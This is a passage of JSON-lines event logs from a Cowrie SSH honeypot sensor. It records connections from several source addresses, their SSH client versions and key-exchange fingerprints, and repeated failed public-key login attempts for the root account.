-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.599351Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.876806Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.880106Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.940065Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.943118Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.003213Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.009902Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.070658Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.074693Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.135566Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.139230Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:39.200709Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":48444,"dst_ip":"10.17.0.5","dst_port":22,"session":"beff24a9cad3","protocol":"ssh","message":"New connection: 51.159.104.219:48444 (10.17.0.5:22) [session: beff24a9cad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.283925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.288079Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.373903Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.774482Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.778400Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.863479Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.867666Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.954030Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:43.958133Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:44.044237Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:44.047230Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:44.131388Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:44.134392Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:44.220343Z","src_ip":"51.159.104.219","session":"beff24a9cad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b1c8d827e69","protocol":"ssh","message":"New connection: 80.94.92.184:57394 (10.17.0.5:22) [session: 8b1c8d827e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:13.737883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:13.975229Z","src_ip":"80.94.92.184","session":"8b1c8d827e69","protocol":"ssh"}
